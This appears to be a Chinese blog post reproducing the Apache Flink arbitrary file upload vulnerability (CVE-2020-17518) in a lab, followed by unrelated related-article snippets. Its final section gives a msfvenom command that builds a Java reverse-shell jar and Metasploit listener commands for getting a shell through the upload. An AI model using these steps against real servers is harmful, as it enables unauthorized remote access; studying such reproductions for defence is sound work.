Apache Flink 文件上传漏洞 (CVE-2020-17518)

news/2024/11/2 3:38:47/

文章目录

  • 一、Apache Flink简介
  • 二、漏洞简介
  • 三、漏洞复现
  • 四、上传jar包getshell


一、Apache Flink简介

Apache Flink 是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。Apache Flink 是一个分布式系统,它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器,例如 Hadoop YARN、 Apache Mesos 和 Kubernetes,但同时也可以作为独立集群运行。


二、漏洞简介

在Apache Flink1.5.1中引入了 REST 处理程序,允许通过恶意修改HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置。

影响版本:
Apache:Apache Flink: 1.5.1 ---- 1.11.2

三、漏洞复现

1、访问Add New,上传
在这里插入图片描述
2、任意构造上传路径,上传文件。虽然响应显示400,但是已经上传成功。
在这里插入图片描述
3、进入容器.
在这里插入图片描述
4、执行命令,查看上传的文件。
在这里插入图片描述


四、上传jar包getshell

1、Flink支持上传jar包并且执行,所以这里可以通过上传jar包获取Webshell。
利用msfvenom工具生成.jar格式的木马,LHOST、LPORT为监听机器的IP和端口,此处利用Kali作为监听机。

 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.128 LOBPORT=4444 -f jar > rce.jar

2、在监听机执行

use exploit/multi/handler 
set payload java/shell/reverse_tcp 
set LHOST 192.168.198.128
set LPORT 4444 
run

3、访问主页,点击Add New按钮,上传生成的rec.jar。
在这里插入图片描述

4、成功反弹shell。
在这里插入图片描述


http://www.ppmy.cn/news/81861.html

相关文章

【Java校招面试】实战面经(六)

目录 前言一、如何在N个数中1前K小个数?二、TCP断开连接时为什么需要四次挥手?三、虚拟地址到物理地址的映射过程四、传输用户账号密码时如何加密?五、JSON为什么不存在数据库里?六、Redis是什么?七、Redis的过期策略八、Redis的淘汰策略九、写一个LRUCache十、ThreadLoca…

typescript一些语法糖

单个问号 ? 在定义类型里,代表非必须,可以帮助ide和lint进行静态检查 type UserInfo { username?: string; } 单个问号 ? 用于属性读取,表示如果不存在则返回空,减少一些检查空值的代码。 const valdata?.error.code;…

正向代理与反向代理:理解代理服务器在网络通信中的不同作用

1、正向代理和反向代理 正向代理(Forward Proxy)和反向代理(Reverse Proxy)是网络代理服务器的两种常见类型,它们在网络通信中起到不同的作用。 2、正向代理 正向代理(Forward Proxy)&#xf…

C++标准库算法std::upper_bound示例

C标准库算法std::upper_bound示例 贺志国 2023.5.25 C标准库算法std::upper_bound使用二分查找算法在已按升序排列的序列中返回指向第一个大于给定值的元素的迭代器,例如:已按升序排列的序列为{100.0, 101.5, 102.5, 102.5, 107.3},第一个大…

Linux服务器关闭ip转发功能

这几天网络渗透的公司对我们的服务器进行安全检测,其中有一个问题是需要将服务器的ip转发功能关闭,以防用此漏洞通过主机路由数据包。 服务器是centos为7.6.X,以下是解决方案 用root用户身份登录服务器编辑 /etc/sysctl.conf 文件 vim /etc…

搜索旋转排序数组

题目&#xff1a; 整数数组 nums 按升序排列&#xff0c;数组中的值 互不相同 。 在传递给函数之前&#xff0c;nums 在预先未知的某个下标 k&#xff08;0 < k < nums.length&#xff09;上进行了 旋转&#xff0c;使数组变为 [nums[k], nums[k1], ..., nums[n-1], nu…

万国数据财报:股价暴跌51%,盈利能力下滑,万国数据前景黯淡

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 收入增长前景 万国数据&#xff08;GDS&#xff09;在3月中旬发布2022财年财务业绩时&#xff0c;为该公司提供了2023财年全年的收入指引。考虑到市场对万国数据的预期和其股价历史表现&#xff0c;猛兽财经认为&#xff0…

人工智能专栏第十一讲——指代消歧

指代消歧是自然语言处理领域的一个重要问题,指的是在文本中确定代词所指的具体对象。在日常生活中,人们经常使用代词来替代前面出现过的名词,以避免重复,提高表达效率。但是,在处理自然语言文本时,计算机往往难以准确地理解代词所指的对象,因此需要进行指代消歧来解决这…